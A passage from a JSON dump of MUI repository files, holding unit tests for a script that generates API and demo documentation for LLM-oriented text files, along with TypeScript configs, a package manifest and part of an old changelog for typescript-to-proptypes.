location if not provided\n  const processOptions = {\n    ...options,\n    basePath: options.basePath || dir,\n  };\n\n  // First, remove component syntax\n  content = removeComponentSyntax(content);\n\n  // Clean description HTML tags\n  content = cleanDescriptionTags(content);\n\n  // Then, replace demo syntax with code snippets\n  return replaceDemoWithSnippet(content, filePath, processOptions);\n}\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/test/processApi.test.ts",
    "content": "import { expect } from 'chai';\nimport * as fs from 'fs';\nimport * as path from 'path';\nimport * as os from 'os';\nimport { processApiJson, processApiFile } from '../src/processApi';\n\ndescribe('processApi', () => {\n  describe('processApiJson', () => {\n    it('should generate basic component API markdown', () => {\n      const apiJson = {\n        name: 'Button',\n        imports: [\n          \"import Button from '@mui/material/Button';\",\n          \"import { Button } from '@mui/material';\",\n        ],\n        props: {\n          color: {\n            type: { name: 'string' },\n            default: \"'primary'\",\n            required: false,\n          },\n          disabled: {\n            type: { name: 'bool' },\n            default: 'false',\n            required: false,\n          },\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('# Button API');\n      expect(result).to.include('## Import');\n      expect(result).to.include(\"import Button from '@mui/material/Button';\");\n      expect(result).to.include('## Props');\n      expect(result).to.include(\"| color | `string` | `'primary'` | No |\");\n      expect(result).to.include('| disabled | `bool` | `false` | No |');\n    });\n\n    it('should handle deprecated component', () => {\n      const apiJson = {\n        name: 'DeprecatedComponent',\n        imports: [\"import DeprecatedComponent from '@mui/material/DeprecatedComponent';\"],\n        props: {},\n        deprecated: true,\n        deprecationInfo: 'Use <code>NewComponent</code> instead.',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('> ⚠️ **Warning**: Use `NewComponent` instead.');\n    });\n\n    it('should handle deprecated props', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {\n          oldProp: {\n            type: { name: 'string' },\n            deprecated: true,\n            deprecationInfo: 'Use <code>newProp</code> instead.',\n          },\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('| oldProp (deprecated) |');\n      expect(result).to.include('⚠️ Use `newProp` instead.');\n    });\n\n    it('should handle complex prop types', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {\n          onChange: {\n            type: { name: 'func' },\n            signature: {\n              type: 'function(event: React.SyntheticEvent, value: number) => void',\n              describedArgs: ['event', 'value'],\n            },\n          },\n          slots: {\n            type: {\n              name: 'shape',\n              description: '{ root?: elementType, icon?: elementType }',\n            },\n          },\n          sx: {\n            type: {\n              name: 'union',\n              description:\n                'Array&lt;func<br>&#124;&nbsp;object&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object',\n            },\n            additionalInfo: { sx: true },\n          },\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('`function(event: React.SyntheticEvent, value: number) => void`');\n      expect(result).to.include('`{ root?: elementType, icon?: elementType }`');\n      expect(result).to.include('`Array<func \\\\| object> \\\\| func \\\\| object`');\n      expect(result).to.include('The system prop that allows defining system overrides');\n    });\n\n    it('should handle demos section', () => {\n      const apiJson = {\n        name: 'Accordion',\n        imports: [\"import Accordion from '@mui/material/Accordion';\"],\n        props: {},\n        demos: '<ul><li><a href=\"/material-ui/react-accordion/\">Accordion</a></li></ul>',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## Demos');\n      expect(result).to.include('- [Accordion](/material-ui/react-accordion/)');\n    });\n\n    it('should add origin to relative URLs in demos when origin option is provided', () => {\n      const apiJson = {\n        name: 'Accordion',\n        imports: [\"import Accordion from '@mui/material/Accordion';\"],\n        props: {},\n        demos: '<ul><li><a href=\"/material-ui/react-accordion/\">Accordion</a></li></ul>',\n      };\n\n      const result = processApiJson(apiJson, { origin: 'https://mui.com' });\n\n      expect(result).to.include('## Demos');\n      expect(result).to.include('- [Accordion](https://mui.com/material-ui/react-accordion/)');\n    });\n\n    it('should not modify absolute URLs when origin option is provided', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        demos: '<ul><li><a href=\"https://example.com/demo\">External Demo</a></li></ul>',\n      };\n\n      const result = processApiJson(apiJson, { origin: 'https://mui.com' });\n\n      expect(result).to.include('- [External Demo](https://example.com/demo)');\n      expect(result).to.not.include('https://mui.com/https://example.com');\n    });\n\n    it('should handle slots section', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        slots: [\n          {\n            name: 'root',\n            description: 'The component that renders the root.',\n            default: 'Paper',\n            class: 'MuiComponent-root',\n          },\n          {\n            name: 'icon',\n            description: 'The icon element.',\n            default: 'svg',\n            class: null,\n          },\n        ],\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## Slots');\n      expect(result).to.include(\n        '| root | `Paper` | `.MuiComponent-root` | The component that renders the root. |',\n      );\n      expect(result).to.include('| icon | `svg` | - | The icon element. |');\n    });\n\n    it('should handle classes section', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        classes: [\n          {\n            key: 'disabled',\n            className: 'Mui-disabled',\n            description: 'State class applied to the root element if `disabled={true}`.',\n            isGlobal: true,\n          },\n          {\n            key: 'root',\n            className: 'MuiComponent-root',\n            description: 'Styles applied to the root element.',\n            isGlobal: false,\n          },\n        ],\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## CSS');\n      expect(result).to.include('### Rule name');\n      expect(result).to.include(\n        '| `.Mui-disabled` | - | State class applied to the root element if `disabled={true}`. |',\n      );\n      expect(result).to.include('| - | root | Styles applied to the root element. |');\n    });\n\n    it('should handle inheritance', () => {\n      const apiJson = {\n        name: 'Accordion',\n        imports: [\"import Accordion from '@mui/material/Accordion';\"],\n        props: {},\n        inheritance: {\n          component: 'Paper',\n          pathname: '/material-ui/api/paper/',\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## Inheritance');\n      expect(result).to.include('[Paper](/material-ui/api/paper/)');\n      expect(result).to.include(\n        'the props of the [Paper](/material-ui/api/paper/) component are also available on Accordion',\n      );\n    });\n\n    it('should add origin to inheritance URLs when origin option is provided', () => {\n      const apiJson = {\n        name: 'Accordion',\n        imports: [\"import Accordion from '@mui/material/Accordion';\"],\n        props: {},\n        inheritance: {\n          component: 'Paper',\n          pathname: '/material-ui/api/paper/',\n        },\n      };\n\n      const result = processApiJson(apiJson, { origin: 'https://mui.com' });\n\n      expect(result).to.include('## Inheritance');\n      expect(result).to.include('[Paper](https://mui.com/material-ui/api/paper/)');\n      expect(result).to.include(\n        'the props of the [Paper](https://mui.com/material-ui/api/paper/) component are also available on Accordion',\n      );\n    });\n\n    it('should handle spread props', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        spread: true,\n        inheritance: {\n          component: 'Paper',\n          pathname: '/material-ui/api/paper/',\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include(\n        'Any other props supplied will be provided to the root element ([Paper](/material-ui/api/paper/))',\n      );\n    });\n\n    it('should add origin to spread props inheritance URL when origin option is provided', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        spread: true,\n        inheritance: {\n          component: 'Paper',\n          pathname: '/material-ui/api/paper/',\n        },\n      };\n\n      const result = processApiJson(apiJson, { origin: 'https://mui.com' });\n\n      expect(result).to.include(\n        'Any other props supplied will be provided to the root element ([Paper](https://mui.com/material-ui/api/paper/))',\n      );\n    });\n\n    it('should handle ref forwarding', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        forwardsRefTo: 'HTMLDivElement',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('The `ref` is forwarded to the root element (HTMLDivElement)');\n    });\n\n    it('should handle components that cannot hold refs', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        forwardsRefTo: null,\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('This component cannot hold a ref');\n    });\n\n    it('should handle theme default props', () => {\n      const apiJson = {\n        name: 'Button',\n        imports: [\"import Button from '@mui/material/Button';\"],\n        props: {},\n        themeDefaultProps: true,\n        muiName: 'MuiButton',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## Theme default props');\n      expect(result).to.include('You can use `MuiButton` to change the default props');\n    });\n\n    it('should handle CSS component', () => {\n      const apiJson = {\n        name: 'Box',\n        imports: [\"import Box from '@mui/material/Box';\"],\n        props: {},\n        cssComponent: true,\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include(\n        'As a CSS utility, the `Box` component also supports all system properties',\n      );\n    });\n\n    it('should handle source code section', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {},\n        filename: '/packages/mui-material/src/Component/Component.js',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('## Source code');\n      expect(result).to.include(\n        'https://github.com/mui/material-ui/tree/HEAD/packages/mui-material/src/Component/Component.js',\n      );\n    });\n\n    it('should handle required props', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {\n          children: {\n            type: { name: 'node' },\n            required: true,\n          },\n          optional: {\n            type: { name: 'string' },\n            required: false,\n          },\n        },\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('| children | `node` | - | Yes |');\n      expect(result).to.include('| optional | `string` | - | No |');\n    });\n  });\n\n  describe('processApiFile', () => {\n    let tempDir: string;\n\n    beforeEach(() => {\n      tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'api-test-'));\n    });\n\n    afterEach(() => {\n      fs.rmSync(tempDir, { recursive: true, force: true });\n    });\n\n    it('should process API JSON file', () => {\n      const apiJson = {\n        name: 'TestComponent',\n        imports: [\"import TestComponent from '@mui/material/TestComponent';\"],\n        props: {\n          test: {\n            type: { name: 'bool' },\n            default: 'true',\n          },\n        },\n      };\n\n      const filePath = path.join(tempDir, 'test-component.json');\n      fs.writeFileSync(filePath, JSON.stringify(apiJson, null, 2));\n\n      const result = processApiFile(filePath);\n\n      expect(result).to.include('# TestComponent API');\n      expect(result).to.include('| test | `bool` | `true` | No |');\n    });\n\n    it('should process API JSON file with origin option', () => {\n      const apiJson = {\n        name: 'TestComponent',\n        imports: [\"import TestComponent from '@mui/material/TestComponent';\"],\n        props: {},\n        demos: '<ul><li><a href=\"/material-ui/react-test/\">Test Demo</a></li></ul>',\n        inheritance: {\n          component: 'BaseComponent',\n          pathname: '/material-ui/api/base/',\n        },\n      };\n\n      const filePath = path.join(tempDir, 'test-component-with-links.json');\n      fs.writeFileSync(filePath, JSON.stringify(apiJson, null, 2));\n\n      const result = processApiFile(filePath, { origin: 'https://example.com' });\n\n      expect(result).to.include('# TestComponent API');\n      expect(result).to.include('[Test Demo](https://example.com/material-ui/react-test/)');\n      expect(result).to.include('[BaseComponent](https://example.com/material-ui/api/base/)');\n    });\n  });\n\n  describe('HTML to Markdown conversion', () => {\n    it('should convert HTML entities and tags correctly', () => {\n      const apiJson = {\n        name: 'Component',\n        imports: [\"import Component from '@mui/material/Component';\"],\n        props: {\n          complexProp: {\n            type: {\n              name: 'union',\n              description: 'Array&lt;func<br>&#124;&nbsp;object&gt;<br>&#124;&nbsp;func',\n            },\n          },\n        },\n        demos: '<p>Test paragraph</p><ul><li>Item 1</li><li>Item 2</li></ul>',\n      };\n\n      const result = processApiJson(apiJson);\n\n      expect(result).to.include('`Array<func \\\\| object> \\\\| func`');\n      expect(result).to.include('Test paragraph');\n      expect(result).to.include('- Item 1');\n      expect(result).to.include('- Item 2');\n    });\n  });\n});\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/test/processComponent.test.ts",
    "content": "import { expect } from 'vitest';\nimport * as fs from 'fs';\nimport * as path from 'path';\nimport * as os from 'os';\nimport { replaceDemoWithSnippet, processMarkdownFile } from '../src/index';\n\ndescribe('generate-llms-txt', () => {\n  let tempDir: string;\n\n  beforeEach(() => {\n    // Create a temporary directory for test files\n    tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'llms-txt-test-'));\n  });\n\n  afterEach(() => {\n    // Clean up temporary directory\n    fs.rmSync(tempDir, { recursive: true, force: true });\n  });\n\n  describe('replaceDemoWithSnippet', () => {\n    it('should replace demo syntax with code snippet', () => {\n      const markdown = `# Test Component\n\nHere is a demo:\n\n{{\"demo\": \"BasicButton.js\"}}\n\nMore content here.`;\n\n      const jsContent = `import React from 'react';\n\nexport default function BasicButton() {\n  return <button>Click me</button>;\n}`;\n\n      // Create test files\n      fs.writeFileSync(path.join(tempDir, 'BasicButton.js'), jsContent);\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('```jsx');\n      expect(result).to.include(jsContent);\n      expect(result).to.not.include('{{\"demo\": \"BasicButton.js\"}}');\n    });\n\n    it('should handle white spaces in demo syntax', () => {\n      const markdown = `{{ \"demo\": \"Component.js\"  }}`;\n\n      const jsContent = `// JavaScript version`;\n\n      fs.writeFileSync(path.join(tempDir, 'Component.js'), jsContent);\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('```jsx');\n      expect(result).to.include(jsContent);\n    });\n\n    it('should include only TS files', () => {\n      const markdown = `{{\"demo\": \"Component.js\"}}`;\n\n      const jsContent = `// JavaScript version`;\n      const tsContent = `// TypeScript version`;\n\n      fs.writeFileSync(path.join(tempDir, 'Component.js'), jsContent);\n      fs.writeFileSync(path.join(tempDir, 'Component.tsx'), tsContent);\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('```tsx');\n      expect(result).to.include(tsContent);\n      expect(result).to.not.include('```jsx');\n      expect(result).to.not.include(jsContent);\n    });\n\n    it('should only include JS file when TS file does not exist', () => {\n      const markdown = `{{\"demo\": \"Component.js\"}}`;\n\n      const jsContent = `// JavaScript version`;\n\n      fs.writeFileSync(path.join(tempDir, 'Component.js'), jsContent);\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('```jsx');\n      expect(result).to.include(jsContent);\n      expect(result).to.not.include('```tsx');\n    });\n\n    it('should handle multiple demos in the same markdown', () => {\n      const markdown = `# Multiple Demos\n\n{{\"demo\": \"First.js\"}}\n\nSome text in between.\n\n{{\"demo\": \"Second.js\"}}`;\n\n      fs.writeFileSync(path.join(tempDir, 'First.js'), 'First component');\n      fs.writeFileSync(path.join(tempDir, 'Second.js'), 'Second component');\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('First component');\n      expect(result).to.include('Second component');\n      expect(result.match(/```jsx/g)).to.have.lengthOf(2);\n    });\n\n    it('should return original match when demo file is not found', () => {\n      vi.spyOn(console, 'warn').mockImplementation(() => {});\n\n      const markdown = `{{\"demo\": \"NonExistent.js\"}}`;\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.equal(markdown);\n      expect(console.warn).toHaveBeenCalledWith('Demo file not found: NonExistent.js');\n    });\n\n    it('should handle demos with additional properties', () => {\n      const markdown = `{{\"demo\": \"Button.js\", \"defaultCodeOpen\": false}}`;\n\n      fs.writeFileSync(path.join(tempDir, 'Button.js'), 'Button code');\n\n      const result = replaceDemoWithSnippet(markdown, path.join(tempDir, 'test.md'), {\n        basePath: tempDir,\n      });\n\n      expect(result).to.include('```jsx');\n      expect(result).to.include('Button code');\n    });\n  });\n\n  describe('processMarkdownFile', () => {\n    it('should process a markdown file correctly', () => {\n      const markdownPath = path.join(tempDir, 'test.md');\n      const markdown = `# Test\n\n{{\"demo\": \"Demo.js\"}}`;\n\n      fs.writeFileSync(markdownPath, markdown);\n      fs.writeFileSync(path.join(tempDir, 'Demo.js'), 'Demo content');\n\n      const result = processMarkdownFile(markdownPath);\n\n      expect(result).to.include('```jsx');\n      expect(result).to.include('Demo content');\n    });\n\n    it('should handle nested directory structures', () => {\n      const subDir = path.join(tempDir, 'components', 'buttons');\n      fs.mkdirSync(subDir, { recursive: true });\n\n      const markdownPath = path.join(subDir, 'buttons.md');\n      const markdown = `{{\"demo\": \"BasicButton.js\"}}`;\n\n      fs.writeFileSync(markdownPath, markdown);\n      fs.writeFileSync(path.join(subDir, 'BasicButton.js'), 'Button component');\n\n      const result = processMarkdownFile(markdownPath);\n\n      expect(result).to.include('Button component');\n    });\n  });\n});\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/tsconfig.json",
    "content": "{\n  \"extends\": \"../tsconfig.base.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"./src\",\n    \"outDir\": \"../build/generate-llms-txt\",\n    \"tsBuildInfoFile\": \"../build/generate-llms-txt/.tsbuildinfo\",\n    \"noImplicitAny\": false,\n    \"strict\": false,\n    \"skipLibCheck\": true\n  },\n  \"include\": [\"./src/*\"]\n}\n"
  },
  {
    "path": "packages-internal/scripts/generate-llms-txt/tsconfig.test.json",
    "content": "{\n  \"compilerOptions\": {\n    \"noEmit\": true,\n    \"moduleResolution\": \"\",\n    \"types\": [\"node\", \"vitest/globals\"],\n    \"strict\": true,\n    \"esModuleInterop\": true,\n    \"isolatedModules\": true\n  },\n  \"include\": [\"./src/*.ts\", \"./test/*.ts\"],\n  \"references\": [{ \"path\": \"../../docs-utils/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages-internal/scripts/package.json",
    "content": "{\n  \"name\": \"@mui/internal-scripts\",\n  \"version\": \"3.0.5\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Utilities supporting MUI libraries build and docs generation. This is an internal package not meant for general use.\",\n  \"exports\": {\n    \"./typescript-to-proptypes\": {\n      \"types\": \"./build/typescript-to-proptypes/index.d.ts\",\n      \"default\": \"./build/typescript-to-proptypes/index.js\"\n    },\n    \"./generate-llms-txt\": {\n      \"types\": \"./build/generate-llms-txt/index.d.ts\",\n      \"default\": \"./build/generate-llms-txt/index.js\"\n    }\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages-internal/scripts\"\n  },\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prebuild\": \"rimraf ./build\",\n    \"build\": \"tsc -b tsconfig.json\",\n    \"release:publish\": \"pnpm build && pnpm publish --tag latest\",\n    \"release:publish:dry-run\": \"pnpm build && pnpm publish --tag latest --registry=\\\"http://localhost:4873/\\\"\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/internal-scripts\\\"\",\n    \"typescript\": \"tsc -b tsconfig.typecheck.json\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.29.0\",\n    \"@babel/plugin-syntax-class-properties\": \"^7.12.13\",\n    \"@babel/plugin-syntax-jsx\": \"^7.28.6\",\n    \"@babel/plugin-syntax-typescript\": \"^7.28.6\",\n    \"@babel/types\": \"^7.29.0\",\n    \"@mui/internal-docs-utils\": \"workspace:^\",\n    \"doctrine\": \"^3.0.0\",\n    \"es-toolkit\": \"^1.45.1\",\n    \"typescript\": \"^5.9.3\"\n  },\n  \"devDependencies\": {\n    \"@babel/register\": \"7.28.6\",\n    \"@types/babel__core\": \"7.20.5\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/doctrine\": \"0.0.9\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/uuid\": \"10.0.0\",\n    \"chai\": \"6.2.2\",\n    \"fast-glob\": \"3.3.3\",\n    \"prettier\": \"3.8.1\",\n    \"rimraf\": \"6.1.3\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages-internal/scripts/tsconfig.base.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"ES2020\",\n    \"moduleResolution\": \"nodenext\",\n    \"module\": \"nodenext\",\n    \"types\": [\"node\"],\n    \"strict\": true,\n    \"declaration\": true,\n    \"declarationMap\": true,\n    \"sourceMap\": true,\n    \"composite\": true,\n    \"esModuleInterop\": true,\n    \"isolatedModules\": true\n  }\n}\n"
  },
  {
    "path": "packages-internal/scripts/tsconfig.json",
    "content": "{\n  \"files\": [],\n  \"include\": [],\n  \"references\": [{ \"path\": \"./typescript-to-proptypes\" }, { \"path\": \"./generate-llms-txt\" }]\n}\n"
  },
  {
    "path": "packages-internal/scripts/tsconfig.typecheck.json",
    "content": "{\n  \"extends\": \"./tsconfig.base.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"../..\",\n    \"types\": [\"node\", \"vitest/globals\"],\n    \"noEmit\": true\n  },\n  \"include\": [\"./**/*.ts\"],\n  \"exclude\": [\"./build\", \"./node_modules\", \"vitest.config.ts\"],\n  \"references\": [{ \"path\": \"../../packages-internal/docs-utils/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/CHANGELOG.old.md",
    "content": "# Changelog\n\nThis file documents changes in the @merceyz's `typescript-to-proptypes` package.\nFor changes after the package was forked and published as `@mui-internal/typescript-to-proptypes`, see [CHANGELOG.md](./CHANGELOG.md).\n\nAll notable changes to this project will be documented in this file. See [standard-version](https://github.com/conventional-changelog/standard-version) for commit guidelines.\n\n## [2.0.1](https://github.com/merceyz/typescript-to-proptypes/compare/v2.0.0...v2.0.1) (2020-06-02)\n\n### Bug Fixes\n\n- Use symbol type when there's no baseconstraint ([#23](https://github.com/merceyz/typescript-to-proptypes/issues/23)) ([0b170af](https://github.com/merceyz/typescript-to-proptypes/commit/0b170afb02a2edd1ea0b80406f1a86375c3a13f3))\n\n## [2.0.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.5.0...v2.0.0) (2020-05-31)\n\n### ⚠ BREAKING CHANGES\n\n- Support for Node versions less than 10.3.0 has been dropped\n\n### Features\n\n- consider squashed call signatures of function components ([#20](https://github.com/merceyz/typescript-to-proptypes/issues/20)) ([514d8ed](https://github.com/merceyz/typescript-to-proptypes/commit/514d8ed55375406a70640d64c4a166aa52e24ae2))\n\n### Bug Fixes\n\n- allow non-string literals ([#21](https://github.com/merceyz/typescript-to-proptypes/issues/21)) ([546e7ad](https://github.com/merceyz/typescript-to-proptypes/commit/546e7addc86198e641d3bfd3dd08ecb55c970600))\n\n### Build System\n\n- drop support for node versions less than 10.3.0 ([2fbca64](https://github.com/merceyz/typescript-to-proptypes/commit/2fbca64e0964509e1a74d29f564be41a78e9fa29))\n\n## [1.5.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.4.2...v1.5.0) (2020-04-06)\n\n### Features\n\n- **injector:** add reconcilePropTypes ([#10](https://github.com/merceyz/typescript-to-proptypes/issues/10)) ([7b0bff9](https://github.com/merceyz/typescript-to-proptypes/commit/7b0bff9666d1beb1bde445e92fbb702cf1fb3d89))\n- add `filenames` to component and proptype nodes ([#9](https://github.com/merceyz/typescript-to-proptypes/issues/9)) ([ce9a700](https://github.com/merceyz/typescript-to-proptypes/commit/ce9a7002c7fda27965b50e0b1af3ecef540a90e5))\n- **injector:** add `component` to `shouldInclude` ([#8](https://github.com/merceyz/typescript-to-proptypes/issues/8)) ([18a7fce](https://github.com/merceyz/typescript-to-proptypes/commit/18a7fcee1b3f7d64541fb0f9bd1de72e0ea0db5b))\n- **injector:** allow providing babel options ([2ab6f43](https://github.com/merceyz/typescript-to-proptypes/commit/2ab6f43ef4b785d20dd6f951b2f4b928a5521b53))\n\n### Bug Fixes\n\n- check nodeType for dom elements ([#13](https://github.com/merceyz/typescript-to-proptypes/issues/13)) ([fd028e6](https://github.com/merceyz/typescript-to-proptypes/commit/fd028e639bb28383d6e4f925368b6e2afacdbf23))\n- replace existing propTypes when removeExistingPropTypes ([#15](https://github.com/merceyz/typescript-to-proptypes/issues/15)) ([3166104](https://github.com/merceyz/typescript-to-proptypes/commit/3166104889d4f58fc22f85800664d2bb1fce6aff))\n- **injector:** always call injectPropTypes to allow shouldInclude to run ([277258d](https://github.com/merceyz/typescript-to-proptypes/commit/277258ddc73c3da816aba6fccb739c69dfe8e83a))\n- handle all props getting ignored by shouldInclude ([b69112e](https://github.com/merceyz/typescript-to-proptypes/commit/b69112e1011f089b6d5cb60f88ce75b6394252be))\n- **parser:** export ParserOptions ([3a5d55e](https://github.com/merceyz/typescript-to-proptypes/commit/3a5d55e68a723208a4b76e79d4bafe92ddf4f85a))\n\n## [1.4.2](https://github.com/merceyz/typescript-to-proptypes/compare/v1.4.1...v1.4.2) (2020-03-27)\n\n### Bug Fixes\n\n- build had a broken output ([97b0326](https://github.com/merceyz/typescript-to-proptypes/commit/97b0326c8b3b811fd5167cefa95a5dc1aa22a212))\n\n## [1.4.1](https://github.com/merceyz/typescript-to-proptypes/compare/v1.4.0...v1.4.1) (2020-03-27)\n\n### Bug Fixes\n\n- include string literal object keys as used ([#5](https://github.com/merceyz/typescript-to-proptypes/issues/5)) ([3fd7b70](https://github.com/merceyz/typescript-to-proptypes/commit/3fd7b703d30e650e6692f87d3929d4ae67314cb6))\n- unknown can be optional ([#7](https://github.com/merceyz/typescript-to-proptypes/issues/7)) ([c5e8ca3](https://github.com/merceyz/typescript-to-proptypes/commit/c5e8ca31e2cae20216b1f7e45c9f3ef5198b2f93))\n\n## [1.4.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.3.0...v1.4.0) (2019-11-16)\n\n### Bug Fixes\n\n- **parser:** handle prop of type ReactElement ([adfcca4](https://github.com/merceyz/typescript-to-proptypes/commit/adfcca4))\n\n### Features\n\n- **parser:** support forwardRef ([3f5c0c9](https://github.com/merceyz/typescript-to-proptypes/commit/3f5c0c9)), closes [#2](https://github.com/merceyz/typescript-to-proptypes/issues/2)\n\n## [1.3.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.5...v1.3.0) (2019-09-03)\n\n### Features\n\n- **generator:** add comment to proptype blocks ([2c5627e](https://github.com/merceyz/typescript-to-proptypes/commit/2c5627e))\n\n### [1.2.5](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.4...v1.2.5) (2019-09-03)\n\n### Bug Fixes\n\n- **parser:** use doctrine to unwrap comments ([53a9d43](https://github.com/merceyz/typescript-to-proptypes/commit/53a9d43))\n\n### Tests\n\n- add missing test config ([d00c7f2](https://github.com/merceyz/typescript-to-proptypes/commit/d00c7f2))\n\n## [1.2.4](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.3...v1.2.4) (2019-08-16)\n\n### Bug Fixes\n\n- **injector:** use require.resolve ([b9d04ea](https://github.com/merceyz/typescript-to-proptypes/commit/b9d04ea))\n\n## [1.2.3](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.2...v1.2.3) (2019-07-24)\n\n### Bug Fixes\n\n- **parser:** handle return type of JSX.Element | null ([cbe5564](https://github.com/merceyz/typescript-to-proptypes/commit/cbe5564))\n\n## [1.2.2](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.1...v1.2.2) (2019-07-23)\n\n### Bug Fixes\n\n- **parser:** remove leftover asterisk ([2e720df](https://github.com/merceyz/typescript-to-proptypes/commit/2e720df))\n\n## [1.2.1](https://github.com/merceyz/typescript-to-proptypes/compare/v1.2.0...v1.2.1) (2019-07-23)\n\n### Bug Fixes\n\n- **parser:** handle single line comments ([0025d53](https://github.com/merceyz/typescript-to-proptypes/commit/0025d53))\n\n## [1.2.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.1.0...v1.2.0) (2019-07-23)\n\n### Bug Fixes\n\n- **generator:** multiline comments ([d576597](https://github.com/merceyz/typescript-to-proptypes/commit/d576597))\n- **generator:** sort interface correctly ([f88c5fb](https://github.com/merceyz/typescript-to-proptypes/commit/f88c5fb))\n- **generator:** wrap prop name in quotes ([709a819](https://github.com/merceyz/typescript-to-proptypes/commit/709a819))\n- **parser:** don't modify comments ([95cd63e](https://github.com/merceyz/typescript-to-proptypes/commit/95cd63e))\n- **parser:** fallback to object if element is undefined ([eadaf3f](https://github.com/merceyz/typescript-to-proptypes/commit/eadaf3f))\n- **parser:** handle comments with just tags ([d0b0a82](https://github.com/merceyz/typescript-to-proptypes/commit/d0b0a82))\n- **parser:** handle comments with tags ([ad4dddd](https://github.com/merceyz/typescript-to-proptypes/commit/ad4dddd))\n- **parser:** handle optional any ([30f56ec](https://github.com/merceyz/typescript-to-proptypes/commit/30f56ec))\n- **parser:** handle optional React.ElementType ([c7a87fd](https://github.com/merceyz/typescript-to-proptypes/commit/c7a87fd))\n- **parser:** treat ComponentType as elementType ([53f1e21](https://github.com/merceyz/typescript-to-proptypes/commit/53f1e21))\n- export TypeScript as \"ts\" ([ba90e22](https://github.com/merceyz/typescript-to-proptypes/commit/ba90e22))\n\n### Features\n\n- **generator:** support instanceOf ([6bd563a](https://github.com/merceyz/typescript-to-proptypes/commit/6bd563a))\n- **injector:** control included props ([4f8eaa1](https://github.com/merceyz/typescript-to-proptypes/commit/4f8eaa1))\n- **injector:** remove existing proptypes ([d2a978c](https://github.com/merceyz/typescript-to-proptypes/commit/d2a978c))\n- **parser:** check const declarations of React.ComponentType 